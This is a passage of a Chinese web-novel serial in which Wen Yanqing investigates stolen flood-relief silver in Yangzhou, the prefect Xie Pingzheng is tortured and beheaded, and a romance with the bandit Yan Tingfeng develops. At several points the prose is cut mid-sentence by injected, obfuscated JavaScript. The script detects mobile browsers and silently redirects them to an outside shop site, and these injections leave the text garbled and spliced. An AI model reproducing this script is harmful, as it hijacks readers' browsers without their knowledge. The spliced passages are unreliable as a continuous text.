晏亭风走上前将怀中的银两悉数放进通判手上,“我这还有些,虽是杯水车薪,却也撑一阵子。” 8. 斩首示众 “我这还有一些,凑一凑。” 温砚清将身上值钱的一块拿了出来,身上只剩下晏亭风送的那块玉佩。 谢平铮微微一怔,温砚清和他先前接触的高官有所不同,兴许真的能救扬州。 他弓着身子行了个礼表示感谢,随后催促着通判早去早回。 晏亭风瞥了眼被收起来的玉佩,眼里含着笑,“我以为温大人不喜欢,既然带在身上何不大大方方的。” 说着他伸出手拿起那块玉佩,亲自替温砚清系上。 赶来的冬瓜南瓜二人站在不远处,下意识背过身去小声嘟囔,“我总觉得那姓晏的土匪图谋不轨。” “把总觉得去掉,他就是没安好心,你想想温大人是何等风光霁月,他自知比不上,得不到的就要毁掉。” 南瓜眨了眨眼看着他,最后轻叹一口气,“算了,和你说不清。” “事情都办妥了?” 系个玉佩,温砚清的脖颈红了一片,红潮顺着向上蔓延。 “办妥了,带来的干粮都分去了。” 他点着头见冬瓜南瓜盯着自己看,自知自己现在何等模样,正打算说点什么,只见身前挡着一个身影。 晏亭风人高马大挡着他,“温大人,细皮嫩肉的,就是容易脸红。” 轻浮! 温砚清咬着牙阴阳怪气,“哪像你,脸皮千斤重。” 他轻哼一声甩袖越过走到南瓜冬瓜面前,低声交代,“去查查户部派了谁来押送此次的赈灾银,和谢平铮有什么过节。” “顺便去看看,户部几时拨的款,何时让人送来的,途中经了谁的手,这些全部一一查清楚。” 目前所有的证据全都指向谢平铮,就连押送此次赈灾银的官兵,都称早已将赈灾银交付到谢平铮手上。 可如今温砚清不这么认为,这一切都太巧合了,就像是有人刻意要拖谢平铮下水。 正想着,地面传来些许震动,两侧的灾民惊呼着,顺着动静温砚清转身看去。 御史丞张清面色严肃从马上下来,他朝温砚清点了点算作打招呼,“温大人。” 随后他摆了摆手,身后两名官兵上前扣下谢平铮,“扬州知府谢平铮,私自扣押赈灾银,将百姓置于生死之外。” “罔顾朝纲,罪不容诛!” “我等奉顾大人之命前来捉拿归案,谢平铮你认不认?” 眼看谢平铮就要被人带走,温砚清皱着眉头走上前,“我怎么不知道,御史台何时也能插手这件事?” 张清嘴上虽说着不敢,看着恭恭敬敬的,语气上却带着几分不屑,“温大人,瞧您说的,我们都是为了皇上分忧。” “只要是能分忧,又何必在乎是谁来分这个忧呢?顾大人一收到消息,怕您被谢平铮蒙蔽,特派我到处将他斩首示众。” 张清口中的顾大人,正是御史大夫顾靳闲。 此人和温砚清向来不合。 恐怕他派张清来不是为了所谓的分忧,更有可能是……杀人灭口。 想到这里温砚清更不会让他将人带走,“不行,谢平铮的事情还未查清楚,不能把人带走。” “圣上将此事交由到我的手上,还是说,还是说在你心里顾大人就可以轻而易举的越过圣上?” 张清脸色铁青,想不到温砚清用这个来压他。 “温大人说笑了,我和顾大人一心为国为民,怎敢有其他心思。” 他瞥了一眼被扣押着的谢平铮,语气阴阳怪气,“只是……温大人莫要错把鱼目当珍珠,谢平铮是始作俑者错不了。” “他的家中正是堆放着赈灾银,只是此人善于做戏,温大人确定要护着他吗?” 若真是善于做戏,温砚清自会解决,可万一……谢平铮是被冤枉的呢? “放你娘的狗屁!赈灾银怎么会出现在我家中,若是在我家中,我何苦让我亲娘跟着一块喝野菜汤!” 谢平铮试图挣扎,他放声大喊为自己辩解,“我谢平铮为官多年,除了对不起我妻儿老小,没有对不起任何人!” “你说是我偷的就是我偷的?不用调查清楚?这就是你们御史台的行事风范?”谢平铮冷笑一声,朝地上吐了口唾沫。 他一把甩开身旁两名官兵,走上前一步一步靠近张清,后者紧张地后退了两步,“大胆谢平铮!你想要做什么!” 张清摆了摆手示意其他人将他扣押,“愣着干什么!” 谢平铮轻哼一声冷嘲热讽,“扬州发大水的时候,我顶着老寒腿浸在水中救人,带人上山挖野菜,将我妻儿的嫁妆悉数变卖。” “换来的不是嘉奖,不是升官进爵,却是被你扣押拉去斩首示众!” 此话一出,两侧的灾民有了开口的勇气,“谢大人不可能会偷赈灾银,就是他把我救上来的!” “我们饿了好几天了,全靠谢大人变卖家产换来的粮食,我们相信谢大人!” 民声盖过了张清的说话声,他将眉头挤成一个川字,最后只能轻哼一声,“既然如此,届时希望温大人能够调查出真相。” “为谢平铮翻供,若是温大人找不出来,那便不能阻拦我御史台将奸人斩首示众!” 张清甩着衣袖一个翻身利索上马,临走前他的视线落在了温砚清身后,似乎是看见了什么,他微微一怔随后扯出一抹嘲讽的笑。 “几日不见,温大人身边竟多了个新人,只是不知道这新人是从何而来,竟让我觉得有些眼熟。” 温砚清不动声色将晏亭风挡在身后,“一个随从罢了,张大人连这样的小事都要管吗?” “难不成,连我平日走路先迈左脚还是右脚也要管吗?” 张清没再继续往下搭话,而是带人离开。 临走前他让人带上谢平铮,美名其曰怕罪犯逃脱。 温砚清沉着一张脸,京中怕是出了什么事,否则张清怎么会突然出现在此地。 眼下最重要的就是先找到赈灾银两,还谢平铮一个清白,想到张清说的话,温砚清拿上带人赶到谢平铮家中。 路上他突然看向晏亭风,“你从前和张清见过面?” “说来也奇怪,我从未以真容出现过,他不应该认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他压低声音凑到温砚清的身旁,“看她们门前的野菜,灾后谢平铮一并带上了自己的夫人一块去挖野菜。” “她的脸色苍白明显的血色不足,怕是刚经历了小产……” 温砚清抿着唇没有说话,别说赈灾银了,就是连拖动的痕迹没有。 他弓着身子朝谢夫人行了个礼,“打扰了,我们都相信谢大人不会做这种事情,一定会找出真相,还他一个清白。” 谢夫人脸上有了些许笑容,她点着头正打算说点什么,门外传来阵阵马蹄声,几人同时转身看去。 只见南瓜从马上翻身下来,神色慌张地走进来,“大人,不好了!” “什么事着急忙慌的?”温砚清皱起了眉头,让他缓一缓往下说。 南瓜喘着气,手指着门外,“张清不守信用,他在扬州府前,设立邢台,想要将谢大人斩首示众!” 9. 遇难而退 “什么!” 谢夫人紧紧抓着温砚清的手,噗通一声跪在地上,“温大人,平铮他是无辜的,我求你救救他!” “求你救救他,平铮为官数十载,从没做过任何对不起朝廷的事情,他绝对没有拿过赈灾银,温大人,我给你磕头,求你去救救他!” 温砚清和晏亭风两人将她扶起来,“谢夫人,我相信谢大人是无辜的,我会救他。” 说着,温砚清让南瓜安顿好谢夫人,随后带着晏亭风离开,路上他紧攥着拳头面色凝重。 扬州府前聚满了人,刑台上谢平铮双手被人捆绑着,温砚清快步上前,“等等!” 张清皱起眉头扔出手中的令牌,“行刑!” 刽子手举起砍刀,刀落血溅了一地,温砚清挤入人群,谢平铮的头正巧从刑台上滚落下来,在他的脚边停下。 温砚清的双手止不住的颤抖,晏亭风正想拉着他安慰,下一秒身旁的人却快步朝刑台上冲了上去。 张清下意识后退两步想要躲开,脖子上却多了一双手,那双手掐着他的脖子将他逼到了角落。 “温砚清!你这是打算谋反吗!来人快来人!” “把他给我拿下,他要谋反!” 周围的官兵蠢蠢欲动,温砚清沉着一张脸,“谁敢动一步!” 晏亭风拔出刀放在温砚清的身前,其他人面面相觑,不知如何是好。 “温砚清,我要弹劾你!你这是谋杀朝廷命官!” 张清想要反抗,却动弹不得。 “谁允许你擅自做主杀了谢平铮,证据还没找到,时间也还没到!” 温砚清一拳落在他的脸上,“没有证据空口定罪,你们御史台就是这样办事的吗?” 关键时候温砚清松开了手,张清大口喘着气,“谁告诉你我没有证据的!” 他从衣袖中取出一张证词,“你看清楚!谢平铮承认了,就是他拿走了赈灾银,就是他看着扬州百姓深陷于水火之中!” 证词上描述着谢平铮是如何拿走赈灾银,又是如何转移的,下方还印着他的手印。 温砚清一把夺过不可置信,他看向晏亭风,后者立马会意走到谢平铮的尸首前。 他掀开被血浸湿的衣角,露出大片被毒打的皮肤,大大小小的伤口数下来数十道。 十指被夹得通红,里头骨头几乎都断了。 温砚清冷笑一声将证词丢在张清的脸上,“你说他承认了,这样的酷刑放在他身上,就算是他不承认也得承认!” “明眼人都能看出来不是他,唯独你们御史台是一群瞎子!” 张清脸色大变,“温大人,不管你信不信,这的的确确就是谢平铮的证词,现下也将他斩首示众,这件案子也找到了真凶。” “温大人,你可要想清楚,你确定要和御史台抗衡吗?” 顾靳闲。 温砚清在心里默念这三个字,张清会动手,肯定是得了他的指示,谢平铮得罪了谁,又是在替谁挡罪。 他目光冷冰冰地看向张清,一字一顿,“谁说这案子了结了,在没有找出幕后真凶之前,我是不会离开扬州的。” “我温砚清就算是耗死在这里,也不会就此罢休,若不是谢平铮拿走的赈灾银,我要你们整个御史台给他赔罪!” 张清脸色难看到极点,他没想到证据都在这里,谢平铮也死了,温砚清却没打算放弃。 他将手中的证词收了起来,强装镇定,“温大人如此也只不过是白费力气,倒不如早点放弃。” “来人啊,把谢平铮这贼人的尸首挂在城门上示众!” 温砚清夺过晏亭风手中的长剑,他握着剑架在张清的脖子上,“我看谁敢动一下,谢平铮必须入土为安!” 眼看张清不敢动弹,他收回长剑让南瓜将谢平铮的尸首带回去缝合。 温砚清转身走出几步,身后的张清才敢大喘气,他压着声给身旁的人传话,“抓紧回去把这件事告诉顾大人。” “就说,温砚清包庇谢平铮,与其同流合污,还要杀了我灭口,让顾大人上朝弹劾他!” “顺便,把这个……” 他从口袋里取出一个小药瓶放在那人手上,“不要出任何差错,不能让姓温的发现!” 温砚清只觉得无力,不知如何向谢平铮的家人解释。 “平铮!平铮!你去哪了?” “天是不是黑了,你怎么还没回来,可不能学那些贪官污吏做一些对不起百姓的事!” 谢老妇人坐在角落的石块上,手上那些棍子轻轻在地上敲击,嘴里念叨着,扶着墙缓慢的站起身。 温砚清走上前张了张嘴,不知如何解释,谢平铮死了,家里的老弱又该如何安置? “去清风寨吧。” 晏亭风伸手扶着谢老夫人轻声安慰,“老夫人,谢大人交代我送你回去。” 他看温砚清愣在原地没有动弹,回过头解释,“没有什么地方比清风寨更合适了,这才是最好的选择。” 想来也是,若是谢平铮得罪了谁,幕后之人恐怕不会就此放过,留在清风寨何尝不是一个好的选择。 两人将老夫人送到了门前,谢夫人红着眼眶收在门口,只看一眼她就知道发生了什么。 怕老夫人受影响,她只能捂着嘴无声落泪。 临走前,老夫人突然摸索着站起来,抓着温砚清的手不放,“平铮他是不是出事了?” “他从前都是亲自背我回来,今日却让人送我回来,你老实告诉我,他是不是出事了……” “我一把老骨头了,半截身子已经入了土,就想知道他是不是出事了。” 温砚清伸出手搭在老夫人皱巴巴的手背上,“我一定会还谢大人一个清白。” 出了院子隐约还能听见微弱的抽泣声,温砚清停下脚步看向南瓜,“我先前让你们去查的那几名押送赈灾银的衙役在哪?” “在扬州府的大牢里。” 昏暗的牢房里不见一丝光,到处潮湿一片,老鼠吱叫的声音时不时响起。 衙役在前面带路,往里走是审讯的地方,那几名押送赈灾银的官兵被关在里面。 温砚清找了个位置坐下,看了眼缩在角落的几人,“之前你们说,已经亲自将赈灾银送到谢平铮的手上,可是谢平铮却说从未见过这笔赈灾银。” “你们几人好好商量一下,该怎么回答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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仵作支支吾吾的,在温砚清的催促下才接着往下说,“此毒是大夏独有的剧毒,只是奇怪,怎么会出现在这里。” 温砚清站起身又确认了一遍,“你是说,这毒是从大夏传过来的?” “大人不会错的,这样的剧毒我只在大夏见到过,毒发时就像千百只虫子啃食血肉那般痛苦。” 大夏…… 联想到青州,景国内部恐怕早就被大夏渗透,他摆了摆手让仵作离开。 一时间所有的线索都断了,他烦躁地敲着桌面,随后想起了出发前,陈宏交到他手上的香囊。 他取出香囊打开,里面放着一张小纸条,写着短短一句话,“遇难则退。” 皇帝希望他不要掺和这件事。 扬州发生的事情,谢平铮被砍头,这些事情,皇帝又知道多少? 还是说,都是他默许这样做的。 可……为什么要这样做…… 他垂眸将纸条撕碎,随后吩咐南瓜备车,“回京城。” 10. 等你回来 “大人,到户部了。” 温砚清掀开帘子下去,他盯着户部门前的牌匾,他摆了摆手,拦住了想要进去通报的官兵。 他快步走进去,想要找到一个答案。 “温大人,要是所谓的真相不像你所想的那般,你会怎么做?” 晏亭风跟在他的身后,突然说了句没头没尾的话, 温砚清停下脚步,语气严肃,“不论真相如何,我都会为谢平铮讨一个公道。” 他紧握拳头,继续往里头走,还没走两步身后传来声响,“温大人突然到来,下官有失远迎,还请大人见谅。” 户部尚书魏延平拖着臃肿的身子,迈着小碎步跟上来,利用体型优势将温砚清拦住,“温大人今日前来,不知有何贵干啊?” 他抬手擦了擦额前的汗水,视线瞥向一旁的随从,带着一丝责怪。 “既然魏大人来了,那就劳烦魏大人带路,此次前来是为了赈灾银而来。” 魏延平眼珠子滴溜着,“温大人这话说的,赈灾银户部早已拨款,现如今早就应该到了那扬州城。” 他摆着手极力撇清,语气坚定,“温大人,此等大事,我怎么敢说谎话呢。” 温砚清面上没什么表情,语气冷冽,“既然如此,那就劳烦魏大人带我去看看。” 眼看他铁了心要去看,魏延平一脸为难,再三催促下才不情不愿的在前面带路。 他取出拨款的册子放在温砚清的面子,后背冒出的汗打湿了衣襟,也只能紧绷着身子守在一旁。 温砚清每翻一页,他的脸色便白一分,大气不敢喘一下。 登记在册的内容与现下的情况不符,随手翻了两页便让温砚清抓到了好几个漏洞。 他沉着脸色往后翻,找到扬州赈灾银的出入情况,本应该送往扬州的赈灾银,却仍旧停留在户部。 “砰”的一声,册子被重重地砸在桌面上,温砚清咬着牙一字一顿,“魏大人该如何解释,为何这赈灾银没有送到扬州?” “魏延平你对得起身上这层皮吗?你可知一场洪灾让扬州死了多少人吗?” “其中一部分人,是因为赈灾银没到,没钱买粮食活生生饿死的!” 魏延平一个噗通跪在了他的面前,“温大人,下官冤枉啊,并非是下官想这么做,实在是有苦衷啊!” 他一口一个有苦衷,“温大人,这件事并非我想这么做,而是……” “而是……” 魏延平支支吾吾的,最后长叹一口气,“温大人,我怎么敢做如此大逆不道的事情呢?并非我想看着扬州死伤无数,温大人仔细想想,有谁能指使我这样做?” 话说到这个份上,温砚清多多少少也猜到了一点,他抿着嘴唇,衣袖中紧握的拳头,指甲快嵌进肉里。 能够让魏延平这么做的只有一个人,司烨…… 可是为什么要这么做?眼睁睁看着扬州城内老弱妇孺活生生饿死。 他瞥了一眼跪在地上擦汗的魏延平,随后带着人离开。 每走一步都觉得恍惚,连他自己都没发觉,衣袖内双手止不住的发抖,他仍旧不敢相信这个答案。 他咬着牙调整情绪,有些脱力的开口,“进宫,我要面圣。” 肩膀上一沉,他猛地睁开眼睛,晏亭风搭在他的肩膀上轻轻捏着,“休息会吧,这些天你累了。” 兴许是这么些天操劳过渡,他就任由着晏亭风捏肩捶背,不知不觉间竟睡了过去。 到了宫门口晏亭风轻声将他喊醒,伸出手替他整理身上的褶皱,“温大人,我在这等你回来。” 明明只是一句普通得不能再普通得话,温砚清却觉得莫名安心,他点头回应随后头也不回的往前走。 这条路温砚清走了无数遍,现如今却觉得如此漫长,他迫不及待想要知道真相。 殿门口的小太监见到温砚清来了,低声提醒着,“温大人,陛下在里面等着呢。” 他点头回应,竟不自觉屏着呼吸,殿内燃着龙涎香,桌案前的男人撑着脑袋,听见动听抬眼,“砚清来了,快来陪我下一会棋。” 温砚清坐在他的对面欲言又止,几次想要开口询问,却又被打断。 司烨放下一枚黑子,轻笑出声,将温砚清的路赌死,“几日不见,你又退步了。” 他将手中剩余的黑子丢在一旁,主动开口,“你此次前来是为了赈灾银的事情,还是为了谢平铮?” “都有。”温砚清盯着棋盘没有动作,等着司烨解释。 “知道我为什么让魏延平假送赈灾银吗?”司烨撑着脑袋,语气慵懒,“谢平铮曾是我那六弟的拥护者。” “我那六弟可不是一盏省油的灯,即便他现在被我软禁在亲王府,可他的野心可一点没变。” 温砚清不自觉捏紧手中的棋子,他从没想过是因为这个,他哑着嗓子开口,“所以,才要借此除了他是吗?” “可,谢平铮他为了扬州的百姓,兢兢业业并未作出什么不利的事情来,更何况……” 不等他说完,司烨便开口打断,“砚清,谢平铮私藏赈灾银是死罪,这是不可开脱的罪名,他私藏赈灾银只有一个理由。” “他要拥护恭亲王司启杭谋反,所以,谢平铮必须死。” 所以,司烨除掉对自己不利的人时,顺带有了个合理的借口,名正言顺地解决了曾经和他争皇位的亲弟弟。 无数次温砚清忍不住开口质问,那扬州城内饿死的老弱妇孺也是他对付恭亲王的趁手工具吗? 他沉默着,许久后放下手中的白子,“微臣认输了,陛下赢了。” 司烨盯着棋盘放声大笑,伸出手拍了拍温砚清的肩膀,“你姐姐前几日还在和我念叨你,有时间你去看看她,她也想你了。” 温砚清顺着往下行了个礼离开,他紧握着拳头,才发觉身上竟不知不觉发冷。 他顺路去看了姐姐温绾,姐弟俩寒暄几句后,温砚清便被姐姐催促早些离开。 一直到宫门口看见晏亭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016820|194220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风那张脸,温砚清才回过神来,一路上他一言不发,晏亭风也不问。 脑子里一闪而过,在青州时晏亭风曾说过的话,他僵硬地转过身子开口,“你说,人终其一生坚守一件事,是否真的有意义?” 谢平铮虽说曾是恭亲王的拥护者,可他却没有半分对不起扬州百姓,他在位数十载将自己的命留在了那里。 “只要你觉得有意义,那么这件事就是有意义的。” 末了,晏亭风从衣袖中拆了一颗酥糖,递到他的嘴边,“不论你做什么,我永远站在你这边。” 温砚清回过神低着脑袋不去看他,偏偏晏亭风非要他吃下那颗酥糖。 没了法子,他只能硬着头皮咬下那颗酥糖,也不知是有意无意,晏亭风的指尖轻轻划过他的嘴唇。 红潮从耳根子一路蔓延至脸颊,他撑着脑袋背对着晏亭风,先前的苦涩郁闷慢慢被冲淡。 马车突然急停,温砚清正打算开口询问怎么回事,南瓜着急忙慌上前,“大人,这里有个人受伤了。” 他掀开帘子下来,马车前躺着一个浑身是血的男人,身上留着数十道刀伤。 晏亭风蹲下身子试探了下鼻息,有些意外,伤成这样换做一般人早就没了命。 “先带回去吧。”温砚清看着他身上的伤口,思虑再三还是让南瓜把人一块带上。 姜夫人收到了温砚清要回来的消息,早早就守在门口,大老远瞧见马车便急得挥帕子。 “哎呦,这才几日不见,怎么瘦成这样?”姜夫人围着他转了两圈后,见身上没有其他地方受伤,悬着的心放下后,这才注意到站在一旁的晏亭风。 她露出一个笑来招待,“这是哪位公子?长得还真俊。” 晏亭风从衣袖中拿出一支桃花簪送到姜夫人的手上,“初次见面,这是我送给夫人的一点小礼物,夫人叫我亭风就好。” “你是砚清的朋友,不用这么客气。”姜夫人向来就喜欢这些小玩意,晏亭风又惯会说些甜言蜜语,把她夸得心情大好。 温砚清无奈地摇着头,让冬瓜将马车上受伤的人安置在厢房,转头交代南瓜去喊来大夫。 姜夫人拉着两人一块进去,“亭风你就应该和砚清多回来,平日里他就像是一块不开窍的木头。” “可怜我啊,想找个说话的人都没有。” 说着,姜夫人拿起帕子,装模作样擦了擦压根不存在的眼泪。 温砚清:“……” 他看了眼晏亭风,一肚子花花肠子,惯会这讨人欢心的手段。 碗中突然多了一只虾仁,他抬起头看去,晏亭风一边和姜夫人聊天,一边熟练地像仆人给他夹菜。 眼前闪过一抹显眼的绿,姜夫人突然伸出手抓住晏亭风的手腕看个仔细,她心里一个咯噔,在心里安慰自己兴许只是相似。 “亭风这个镯子……是哪来的?” 不等晏亭风开口解释,温砚清便踩着他的鞋面威胁着,“母亲,这镯子只是相似罢了。” 11. 惯会做戏 “是吗?”姜夫人半信半疑的松开了手,那镯子不论是从起色泽还是料子,怎么看都像是她传给儿媳妇的。 想到这里她忍不住继续往下问,“那镯子你亲自送到晏姑娘手上了?” 听见“晏姑娘”三个字眼,晏亭风挑了挑眉头,得到的回应确实赤裸裸的威胁,温砚清扯出一个笑容,“给了。” “给了就好,给了就好。”姜夫人心里头悬着的石头总算放下。 吃过晚饭后,温砚清没有停留,拉着晏亭风就回到房中,他把人困在角落威胁,“快点把镯子还给我。” “要是让我母亲知道了,我马上让人把你抓起来。”温砚清的表情凶巴巴的,奈何晏亭风压根不把他的威胁放在心上。 “温大人,送出去的东西怎么还有拿回去的道理?这镯子可是你送给我的定情信物,不能随便摘下来的。” 晏亭风往前走了两步,身子都快贴了上去,“温大人利用完我,就要把我丢在一旁吗?” 他轻叹一口气,垂着脑袋,看着楚楚可怜,“温大人若是要拿回去便拿回去吧,不用担心我。” “过两天这里就不疼了。”他指着心脏,随后伸出手示意温砚清将镯子拿走。 盯着那抹显眼的绿,温砚清竟有些不忍心,哪怕明知道对方惯会做戏。 他最终还是没动手,转身干巴巴找个借口,“送出去的东西没有拿回来的道理,一个镯子而已。” 耳旁传来轻笑声,晏亭风一改可怜兮兮地模样,凑到他的身旁又是捏肩又是倒热茶,“温大人还是一如既往的心软。” 温砚清不自觉嘴角勾起一个笑容,像是反应到什么似的,立马恢复往常的模样。 他张了张口,正打算说点什么,门外传来冬瓜的声音,“大人,带回来的男人醒来了。” 温砚清再三思虑还是决定去看看,带着晏亭风往厢房方向赶去。 冬瓜走在两人身后面色复杂,他总觉得大人和这猖匪是不是有些太过于亲近了? 不论大人去哪里,这猖匪就紧紧跟在身后,两人的相处更像是…… 新婚夫…… 冬瓜轻轻拍了拍自己的脑袋,想什么呢,大人怎么看得上那粗俗的猖匪。 一踏进厢房内,便闻到一股药味,看见温砚清来,南瓜立马找到了主心骨,“大人,第三次了。” 他指着地上破碎的瓷碗告状,“这药他就是不肯喝,问他叫什么从哪来,也不愿意开口。” 温砚清的视线落在床榻上的男人,皮肤被晒的黢黑,却生得好看,看上去年纪也不大。 他从南瓜手上接过那碗泛着苦味的中药,递到男人手上,“你伤的太重了,要是不吃药恐怕会落下一身残疾。” 不知是惜命还是想通了,他接过那碗药,眉头没皱一下,一口闷了下去。 温砚清有些惊讶,本以为要费一番口舌。 趁此时还好说话,他趁热打铁往下问,“这位公子是从何而来,为何会伤成这样?” 话音刚落,原本沉默着的男人突然像个小孩一样发声大哭,“我叫慕容连,从江南而来,我没有家人了……” “我身上的伤,是大伯他们为了争家产,让人追杀我……” 他吸了吸鼻子,委屈地看向温砚清,“哥哥可以救救我吗?我没有家了……” 温砚清有些不知所措,他从没安慰过人,只能笨拙的掏出帕子递过去,“放心吧,在这里,没有人敢对你怎么样。” 慕容连用力地点着头,大概是因为经历了波折,又不愿意相信旁人,紧紧攥着温砚清的衣袖不肯让他离开半步。 “哥哥,我害怕。” 好说歹说,等到人彻底睡去后,温砚清才得以离开。 不知道是不是他的错觉,他总觉得,慕容连是不是有些……太信任他了…… 临走前,他交代给了南瓜,“去查一查,江南一带,是否有慕容姓氏的。” 突然出现在他必经之路上,对他没有任何防备,但愿是他想太多了。 刚踏进屋子里他突然停下脚步,转身看向紧跟在自己身后的晏亭风,“你跟着我做什么?” “温大人,我怕黑,一个人待着害怕,想求你收留我。”晏亭风学着慕容连紧紧抓着他的衣袖不放,“我一个人经常半夜做梦吓醒,唯独和温大人共榻而眠不会。” 说着,他的指尖顺着衣袖勾住了温砚清的衣带,“温大人就好心收留我,别的不会就是擅长暖床。” 温砚清面红耳赤倒退两步,嘴上说着成何体统,却还是让出一个身位供他进来。 后者则动作熟稔躺在床上,晏亭风将被褥盖住整个身子,他深吸一口气忍不住笑出声,这上面有温砚清的味道。 温砚清灭了灯刚合上眼,身上便多了个重物,他睁开眼睛将搭在腰上的手扯开,“你在胡闹便滚出去!” 耳旁接二连三的叹气,晏亭风依旧搭着不肯松手,语气闷闷的,“温大人就让我抱一下,我从小便自己一个人……” 短短一句,温砚清便开始胡思乱想,晏亭风的家人呢?是分开了?还是…… 他没在理会搭在腰上的手,只是身体僵硬不敢放松。 就这么撑着,直到眼皮子搭了下去,迷迷糊糊中,感觉到搭在腰上的手慢慢收紧。 温砚清难得贪睡起晚,他伸手揉了揉眉心,在心里痛斥自己进行反省,向来雷打不动早起的他,竟然起晚了! 他起身洗漱,身旁的人早就不见了踪影,南瓜守在门前等着他醒来汇报。 吃过早饭后,温砚清便待在书房,听南瓜汇报。 “大人,江南一带确实有一户富贵人家姓慕容,那户人家一夜之间被灭了口,只剩下一个儿子不知去向。” “确实和慕容连所说的一样。” 温砚清盯着信纸上的内容思忖,这世上真有如此巧合的事情么? 另一边,晏亭风守在院门口和慕容连较真,“温大人正忙着,慕容公子还是回去好生休息吧。” 慕容连在院门前探头探脑,不管他怎么折腾,面前这个男人就是不肯让他进去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016821|194220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他露出一个凶狠的表情,“我要进去好好感谢哥哥!” 听见“哥哥”两个字,晏亭风的脸色越发的黑,“温大人不过比你大了那么个一两岁,你叫哥哥不合适。” “还有,他很忙,不会见你的。” 慕容连盯着他嗤笑一声,“你也喜欢哥哥吧?只是可惜了,哥哥他好像不喜欢你哦。” “就算你缠着他也没用,他不喜欢你!” 这小子果然图谋不轨。 晏亭风倒是不把他的话放在心上,只是不自觉间露出手腕上带着的镯子。 “谁说他不喜欢我的,麻烦你自觉点,离有夫之夫远一点,我和夫君早就在青州成了婚,这是他送我的定情信物。” 慕容连半信半疑,脸的表情越发阴沉,丝毫看不出来一点昨夜的可怜劲。 透着一点缝隙,慕容连收起脸上阴郁的表情,他挥着手大喊,“哥哥,哥哥!” “他不让我进去看你,我只是想进去和你,道声谢。” 温砚清正巧从书房里出来,听见声响他皱起眉头走上前,“你堵在这准备当门神?” 说着他将晏亭风拉到一旁,“他招惹你了?” 晏亭风僵持着脸上的笑容,“怎么会呢,我这不是怕他进来打扰到你吗?” 他咬牙切齿,目光紧盯着慕容连,这黑煤炭比他还会! 接下来只要慕容连想要靠近温砚清,他便见缝插针挡在面前,“有什么话坐着说吧,站着多累啊。” 两个人暗暗较劲,谁也不肯输给谁。 慕容连索性破罐子破摔,他坐在温砚清的对面,“哥哥,我有一件很重要的事情要告诉你!” “从见到你的第一眼,我就决定了我要娶你!” 温砚清正打算给自己倒一杯热茶,一个激灵撒了出来,他深吸一口气屏着呼吸,有些震惊地看着慕容连。 转头一想,也可能是小孩的玩笑话。 “你还小,现在就提婚嫁的事,不合适。” “这不是玩笑话,自幼我爹娘便告诉我,若是遇上自己喜欢的人,便要去追!”慕容连表情严肃,正打算去握着温砚清的手,却被人拦了下来。 晏亭风突然伸出手去倒热茶,慕容连伸出的手正好握着他的手腕。 他无辜的眨着眼,收回了自己的手,“慕容公子,我知道你喜欢温大人,可这是温大人送给我的定情信物,我不能给你啊。” 三两句话,便气得慕容连干瞪眼,最后只能尴尬地离开。 “你同一个孩子争什么?”温砚清嘴角挂着浅笑,就着晏亭风倒着热茶喝了一口。 后者面上没了笑容,还多了一丝……委屈? 晏亭风突然站起身,伸出手抱着温砚清,任凭怀中的人挣扎,他就是不肯松手。 “好想把温大人藏起来,不让任何人靠近。”他越抱越紧,温砚清僵着身子喊他,“你这是打算,谋杀吗?” 晏亭风一脸委屈地看着他,“温大人已经同我成了亲,可不能背着我找外头的野男人。” 12. 下降头 温砚清愣了愣,随后声音低低的,“知道了。” 晏亭风缠着他再三确认,直到温砚清一次又一次给出明确的答案,他才松开了手,脸上总算露出笑来。 怎么会……突然变成这样呢? 温砚清皱着眉头,怀疑自己是不是被人下了降头,否则怎么会变成这个模样呢? 可瞧见晏亭风压不下的嘴角,他无奈地摇了摇头,就当做是哄小孩吧。 “咳咳……大人……” 南瓜僵在原地,进退不是,只能尴尬地垂着脑袋不敢动弹,他对天发誓,他真的不是故意这个时候来的。 听见声响,温砚清下意识和晏亭风拉开距离,也不知道有没有被南瓜看到。 想到这里,他抬眼瞪着罪魁祸首,如果不是晏亭风突然发疯抱着他,现在就不用担心这些。 “什么事?” 确认温砚清没有要责怪的意思,南瓜这才拿着信件走了进来,“大人,宫里送来的。” 听见宫里送来的,温砚清脸上的红潮褪去,表情严肃的拆开。 只看了两眼,他立马将信纸收了起来,随后吩咐南瓜去备车。 临走前,他踌躇不前,再三犹豫还是转身看向晏亭风,“我要去处理一件事,你在院子里待着。” “不是不想带你去,是很重要的事,不能耽搁。” 说完之后,他有些后悔,他想走就走,何必还要停留下来解释? 